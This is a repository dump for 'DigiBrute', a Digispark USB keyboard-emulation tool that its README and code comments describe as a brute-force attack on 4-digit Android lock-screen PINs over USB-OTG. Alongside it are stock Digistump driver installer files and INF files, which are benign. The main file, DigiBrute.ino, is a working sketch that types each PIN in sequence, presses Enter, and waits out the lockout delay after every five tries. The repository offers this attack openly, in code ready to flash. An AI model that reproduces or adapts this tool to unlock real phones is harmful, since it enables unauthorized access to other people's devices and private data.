├── DigiBrute ├── Driver │ ├── post_install.bat │ ├── DPinst64.exe │ ├── DigiUSB.inf │ ├── digiusb.cat │ ├── cdc_digix.cat │ ├── digiserial.cat │ ├── x86 │ │ ├── libusb0.sys │ │ ├── lowcdc.sys │ │ ├── libusb0_x86.dll │ │ └── libusbK_x86.dll │ ├── amd64 │ │ ├── libusb0.dll │ │ ├── libusb0.sys │ │ ├── libusbK.dll │ │ └── lowcdc.sys │ ├── micronucleus.exe │ ├── Digispark_Bootloader.cat │ ├── Digispark_Bootloader.inf │ ├── Install Digistump Drivers.bat │ ├── ChangeCDCSpeed.vbs │ ├── DigiSerial.inf │ └── DigiX.inf ├── TXT PREFERENCES.txt └── DigiBrute.ino └── README.md /DigiBrute/Driver/post_install.bat: -------------------------------------------------------------------------------- 1 | "%~dp0\install.exe" 2 | -------------------------------------------------------------------------------- /DigiBrute/TXT PREFERENCES.txt: -------------------------------------------------------------------------------- 1 | http://digistump.com/package_digistump_index.json -------------------------------------------------------------------------------- /DigiBrute/Driver/DPinst64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/DPinst64.exe -------------------------------------------------------------------------------- /DigiBrute/Driver/DigiUSB.inf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/DigiUSB.inf -------------------------------------------------------------------------------- /DigiBrute/Driver/digiusb.cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/digiusb.cat -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Digibrute! 2 | Script de BruteForce em dispositivos móveis Android com senha PIN de 4 dígitos. 3 | -------------------------------------------------------------------------------- /DigiBrute/Driver/cdc_digix.cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/cdc_digix.cat -------------------------------------------------------------------------------- /DigiBrute/Driver/digiserial.cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/digiserial.cat -------------------------------------------------------------------------------- /DigiBrute/Driver/x86/libusb0.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/x86/libusb0.sys -------------------------------------------------------------------------------- /DigiBrute/Driver/x86/lowcdc.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/x86/lowcdc.sys -------------------------------------------------------------------------------- /DigiBrute/Driver/amd64/libusb0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/amd64/libusb0.dll -------------------------------------------------------------------------------- /DigiBrute/Driver/amd64/libusb0.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/amd64/libusb0.sys -------------------------------------------------------------------------------- /DigiBrute/Driver/amd64/libusbK.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/amd64/libusbK.dll -------------------------------------------------------------------------------- /DigiBrute/Driver/amd64/lowcdc.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/amd64/lowcdc.sys -------------------------------------------------------------------------------- /DigiBrute/Driver/micronucleus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/micronucleus.exe -------------------------------------------------------------------------------- /DigiBrute/Driver/x86/libusb0_x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/x86/libusb0_x86.dll -------------------------------------------------------------------------------- /DigiBrute/Driver/x86/libusbK_x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/x86/libusbK_x86.dll -------------------------------------------------------------------------------- /DigiBrute/Driver/Digispark_Bootloader.cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/Digispark_Bootloader.cat -------------------------------------------------------------------------------- /DigiBrute/Driver/Digispark_Bootloader.inf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gabbavbs/digibrute/HEAD/DigiBrute/Driver/Digispark_Bootloader.inf -------------------------------------------------------------------------------- /DigiBrute/Driver/Install Digistump Drivers.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo Detecting OS processor type 3 | echo Launching Driver Installer 4 | sleep 1 5 | 6 | if "%PROCESSOR_ARCHITECTURE%"=="AMD64" goto 64BIT 7 | 8 | START "" "%~dp0\Install 32bit Drivers.exe" 9 | GOTO END 10 | 11 | :64BIT 12 | START "" "%~dp0\Install 64bit Drivers.exe" 13 | 14 | 15 | :END 16 | sleep 1 -------------------------------------------------------------------------------- /DigiBrute/Driver/ChangeCDCSpeed.vbs: -------------------------------------------------------------------------------- 1 | Option explicit 2 | 3 | Dim wmi, os, value, wsh, sha, sfo, btn 4 | 5 | Set sfo = CreateObject("Scripting.FileSystemObject") 6 | 7 | do while WScript.Arguments.Count=0 and UCDbl(WScript.Version) >= 5.7 8 | 'Check if Vista 9 | Set wmi = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2") 10 | Set os = wmi.ExecQuery ("SELECT * FROM Win32_OperatingSystem") 11 | For Each value in os 12 | if UCDbl(left(value.Version,3))<6.0 then exit do 'Exit if not Vista 13 | Next 14 | 15 | 'Run this script as admin. 16 | Set sha = CreateObject("Shell.Application") 17 | sha.ShellExecute "wscript.exe",""""+WScript.ScriptFullName+""" vista","","runas" 18 | 19 | WScript.Quit 20 | loop 21 | 22 | 'Current directory may be moved to system32, maybe not. 23 | Set wsh = CreateObject("WScript.Shell") 24 | 25 | btn = wsh.Popup("Yes: Fast Transfer, No: Stable Transfer", 30, " Low-speed CDC", 4) 26 | Select Case btn 27 | case 6 wsh.RegWrite "HKLM\SYSTEM\CurrentControlSet\Services\lowcdc\UseBulk\On", 1, "REG_DWORD" 28 | case 7 On Error Resume Next 29 | wsh.RegDelete "HKLM\SYSTEM\CurrentControlSet\Services\lowcdc\UseBulk\" 30 | End Select 31 | 32 | ' Universal CDbl -- try to handle decimal separator differences 33 | Function UCDbl( Str ) 34 | Dim Sep 35 | ' Get current decimal separator (2nd char in computed and stringized 1.5) 36 | Sep = Mid( CStr( 3/2 ), 2, 1 ) 37 | ' Replace all separators with the valid one and explicitly convert do double 38 | ' If needed, add another separator into the chain of Replace() calls 39 | UCDbl = CDbl( Replace( Replace( Str, ".", Sep ), ",", Sep ) ) 40 | End Function 41 | -------------------------------------------------------------------------------- /DigiBrute/DigiBrute.ino: -------------------------------------------------------------------------------- 1 | /* ===================================================== 2 | DigiBrute - ataque de força bruta com PIN de 4 dígitos 3 | para dispositivos Android USB-OTG. 4 | ===================================================== */ 5 | 6 | #include "DigiKeyboard.h" 7 | int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38}; 8 | int a = 0; //1st digit 9 | int b = 0; //2nd digit 10 | int c = 0; //3rd digit 11 | int d = 0; //4th digit 12 | int e = 0; //5th digit 13 | int count = 0; 14 | bool key_stroke_e = false; 15 | 16 | void setup() { 17 | DigiKeyboard.update(); 18 | DigiKeyboard.sendKeyStroke(0); //isso geralmente não é necessário, mas com alguns sistemas mais antigos parece evitar a perda do primeiro caractere após um atraso 19 | delay(3000); 20 | } 21 | 22 | void loop() { 23 | //Após 5 tentativas, inicialize 31.000 ms e espere para tentar novamente. 24 | if(count == 5){ 25 | digitalWrite(1,HIGH); //Altere para 0 se estiver usando DigiSpark modelo B 26 | DigiKeyboard.sendKeyStroke(40); //pressionamos Enter para fazer o pop-up desaparecer 27 | delay(31000); 28 | count = 0; 29 | digitalWrite(1,LOW); 30 | } 31 | /*Envia pressionamentos de tecla com base nos valores entre 0-9 32 | Ele começará a aumentar 5 dígitos se a exceder 10*/ 33 | if (key_stroke_e == false) 34 | DigiKeyboard.sendKeyStroke(num[a]); 35 | DigiKeyboard.sendKeyStroke(num[b]); 36 | DigiKeyboard.sendKeyStroke(num[c]); 37 | DigiKeyboard.sendKeyStroke(num[d]); 38 | //verifique se é verdade. Em caso afirmativo, use 5 dígitos. 39 | if (key_stroke_e == true){ 40 | DigiKeyboard.sendKeyStroke(num[a]); 41 | DigiKeyboard.sendKeyStroke(num[b]); 42 | DigiKeyboard.sendKeyStroke(num[c]); 43 | DigiKeyboard.sendKeyStroke(num[d]); 44 | DigiKeyboard.sendKeyStroke(num[e]); 45 | } 46 | DigiKeyboard.sendKeyStroke(40); 47 | delay(1000); 48 | d++; 49 | count++; 50 | //Se o 4º dígito passar de 9, ele volta para 0 e incrementa o 3º dígito 51 | if(d == 10){ 52 | d = 0; 53 | c++; 54 | //Se o terceiro dígito passar de 9, ele volta para 0 e incrementa o segundo dígito 55 | if(c == 10){ 56 | c = 0; 57 | b++; 58 | //Se o segundo dígito passar de 9, ele volta para 0 e incrementa o primeiro dígito 59 | if(b == 10){ 60 | b = 0; 61 | a++; //Se o primeiro dígito passar de 9, provavelmente apenas gerará erros. 62 | if(a == 10){ 63 | //permanecer_true será igual a verdadeiro, percorrerá void () e enviará o quinto toque de tecla 64 | key_stroke_e = true; 65 | e++; 66 | //Lembre-se de que a força bruta ainda funcionará, apesar de sua ordem estranha. 67 | //Depois de e == 10, ele se tornará 0 novamente. 68 | if(e == 10){ 69 | e = 0; 70 | } 71 | } 72 | } 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /DigiBrute/Driver/DigiSerial.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows USB CDC Driver Setup File for Digispark Serial 3 | ; 4 | ; 5 | 6 | [Version] 7 | Signature = "$Windows NT$" 8 | Provider = %COMPANY% 9 | DriverVer = 08/16/2014,1.1.0.0 10 | CatalogFile = DigiSerial.cat 11 | 12 | Class = Ports 13 | ClassGuid = {4D36E978-E325-11CE-BFC1-08002BE10318} 14 | 15 | [Manufacturer] 16 | %VendorName% = Devices, NT, NTAMD64 17 | 18 | ;-------------------------------------------------------------------------- 19 | ; Files 20 | ;-------------------------------------------------------------------------- 21 | 22 | [DestinationDirs] 23 | DefaultDestDir = 12 24 | 25 | [SourceDisksFiles.x86] 26 | lowcdc.sys=1,x86 27 | 28 | [SourceDisksFiles.amd64] 29 | lowcdc.sys=1,amd64 30 | 31 | [SourceDisksNames] 32 | 1 = %SourceName% 33 | ;-------------------------------------------------------------------------- 34 | ; Device driver 35 | ;-------------------------------------------------------------------------- 36 | 37 | [DriverInstall.NT] 38 | Include = mdmcpq.inf 39 | CopyFiles = DriverInstall.NT.CopyFiles 40 | AddReg = DriverInstall.NT.AddReg 41 | 42 | [DriverInstall.NT.CopyFiles] 43 | lowcdc.sys 44 | 45 | [DriverInstall.NT.Services] 46 | AddService = usbser, 0x00000002, DriverServiceInst 47 | AddService = lowcdc, 0x00000000, DriverLower.AddService 48 | 49 | [DriverInstall.NT.AddReg] 50 | HKR,,DevLoader,,*ntkern 51 | HKR,,NTMPDriver,,usbser.sys 52 | HKR,,EnumPropPages32,,"MsPorts.dll,SerialPortPropPageProvider" 53 | 54 | [DriverInstall.NT.HW] 55 | AddReg=DriverLower.HW 56 | 57 | [DriverInstall.NTamd64] 58 | Include = mdmcpq.inf 59 | CopyFiles = DriverInstall.NTamd64.CopyFiles 60 | AddReg = DriverInstall.NTamd64.AddReg 61 | 62 | [DriverInstall.NTamd64.CopyFiles] 63 | lowcdc.sys 64 | 65 | [DriverInstall.NTamd64.Services] 66 | AddService = usbser, 0x00000002, DriverServiceInst 67 | AddService = lowcdc, 0x00000000, DriverLower.AddService 68 | 69 | [DriverInstall.NTamd64.AddReg] 70 | HKR,,DevLoader,,*ntkern 71 | HKR,,NTMPDriver,,usbser.sys 72 | HKR,,EnumPropPages32,,"MsPorts.dll,SerialPortPropPageProvider" 73 | 74 | [DriverInstall.NTamd64.HW] 75 | AddReg=DriverLower.HW 76 | 77 | [DriverLower.HW] 78 | HKR,,LowerFilters, 0x00010000, "lowcdc" 79 | 80 | ;-------------------------------------------------------------------------- 81 | ; Services 82 | ;-------------------------------------------------------------------------- 83 | 84 | [DriverServiceInst] 85 | DisplayName = %SERVICE% 86 | ServiceType = 1 87 | StartType = 3 88 | ErrorControl = 1 89 | ServiceBinary = %12%\usbser.sys 90 | LoadOrderGroup = PNP Filter 91 | 92 | [DriverLower.AddService] 93 | DisplayName = %SERVICE2% 94 | ServiceType = 1 95 | StartType = 3 96 | ErrorControl = 1 97 | ServiceBinary = %12%\lowcdc.sys 98 | 99 | ;-------------------------------------------------------------------------- 100 | ; Devices 101 | ;-------------------------------------------------------------------------- 102 | 103 | [Devices.NT] 104 | %DESCRIPTION% = DriverInstall,USB\VID_16D0&PID_087E 105 | 106 | [Devices.NTAMD64] 107 | %DESCRIPTION% = DriverInstall,USB\VID_16D0&PID_087E 108 | 109 | ;-------------------------------------------------------------------------- 110 | ; Strings 111 | ;-------------------------------------------------------------------------- 112 | 113 | [Strings] 114 | COMPANY = "Digistump LLC" 115 | MFGNAME = "www.digistump.com" 116 | DESCRIPTION = "Digispark Virtual Com Port" 117 | SERVICE = "USB RS-232 Emulation Driver" 118 | SERVICE2 = "Low-Speed CDC Transfer Interface" 119 | -------------------------------------------------------------------------------- /DigiBrute/Driver/DigiX.inf: -------------------------------------------------------------------------------- 1 | ;************************************************************ 2 | ; Windows USB CDC ACM Setup File 3 | ; Copyright (c) 2000 Microsoft Corporation 4 | 5 | 6 | [Version] 7 | Signature="$Windows NT$" 8 | Class=Ports 9 | ClassGuid={4D36E978-E325-11CE-BFC1-08002BE10318} 10 | Provider=%MFGNAME% 11 | LayoutFile=layout.inf 12 | CatalogFile=cdc_digix.cat 13 | DriverVer=09/02/2014,5.1.2600.1 14 | 15 | [Manufacturer] 16 | %MFGNAME%=DeviceList, NTamd64 17 | 18 | [DestinationDirs] 19 | DefaultDestDir=12 20 | 21 | 22 | ;------------------------------------------------------------------------------ 23 | ; Windows 2000/XP/Vista-32bit Sections 24 | ;------------------------------------------------------------------------------ 25 | 26 | [DriverInstall.nt] 27 | include=mdmcpq.inf 28 | CopyFiles=DriverCopyFiles.nt 29 | AddReg=DriverInstall.nt.AddReg 30 | 31 | [DriverCopyFiles.nt] 32 | usbser.sys,,,0x20 33 | 34 | [DriverInstall.nt.AddReg] 35 | HKR,,DevLoader,,*ntkern 36 | HKR,,NTMPDriver,,%DRIVERFILENAME%.sys 37 | HKR,,EnumPropPages32,,"MsPorts.dll,SerialPortPropPageProvider" 38 | 39 | [DriverInstall.nt.Services] 40 | AddService=usbser, 0x00000002, DriverService.nt 41 | 42 | [DriverService.nt] 43 | DisplayName=%SERVICE% 44 | ServiceType=1 45 | StartType=3 46 | ErrorControl=1 47 | ServiceBinary=%12%\%DRIVERFILENAME%.sys 48 | 49 | ;------------------------------------------------------------------------------ 50 | ; Vista-64bit Sections 51 | ;------------------------------------------------------------------------------ 52 | 53 | [DriverInstall.NTamd64] 54 | include=mdmcpq.inf 55 | CopyFiles=DriverCopyFiles.NTamd64 56 | AddReg=DriverInstall.NTamd64.AddReg 57 | 58 | [DriverCopyFiles.NTamd64] 59 | %DRIVERFILENAME%.sys,,,0x20 60 | 61 | [DriverInstall.NTamd64.AddReg] 62 | HKR,,DevLoader,,*ntkern 63 | HKR,,NTMPDriver,,%DRIVERFILENAME%.sys 64 | HKR,,EnumPropPages32,,"MsPorts.dll,SerialPortPropPageProvider" 65 | 66 | [DriverInstall.NTamd64.Services] 67 | AddService=usbser, 0x00000002, DriverService.NTamd64 68 | 69 | [DriverService.NTamd64] 70 | DisplayName=%SERVICE% 71 | ServiceType=1 72 | StartType=3 73 | ErrorControl=1 74 | ServiceBinary=%12%\%DRIVERFILENAME%.sys 75 | 76 | 77 | ;------------------------------------------------------------------------------ 78 | ; Vendor and Product ID Definitions 79 | ;------------------------------------------------------------------------------ 80 | ; When developing your USB device, the VID and PID used in the PC side 81 | ; application program and the firmware on the microcontroller must match. 82 | ; Modify the below line to use your VID and PID. Use the format as shown below. 83 | ; Note: One INF file can be used for multiple devices with different VID and PIDs. 84 | ; For each supported device, append ",USB\VID_xxxx&PID_yyyy" to the end of the line. 85 | ;------------------------------------------------------------------------------ 86 | [SourceDisksFiles] 87 | [SourceDisksNames] 88 | [DeviceList] 89 | %DESCRIPTION%=DriverInstall, USB\VID_16D0&PID_078A&MI_00 90 | 91 | [DeviceList.NTamd64] 92 | %DESCRIPTION%=DriverInstall, USB\VID_16D0&PID_078A&MI_00 93 | 94 | ;------------------------------------------------------------------------------ 95 | ; String Definitions 96 | ;------------------------------------------------------------------------------ 97 | ;Modify these strings to customize your device 98 | ;------------------------------------------------------------------------------ 99 | [Strings] 100 | MFGFILENAME="CDC_DigiX" 101 | DRIVERFILENAME ="usbser" 102 | MFGNAME="Digistump LLC (digistump.com)" 103 | INSTDISK="Digistump DigiX Driver Installer" 104 | DESCRIPTION="Digistump DigiX" 105 | SERVICE="USB RS-232 Emulation Driver" 106 | --------------------------------------------------------------------------------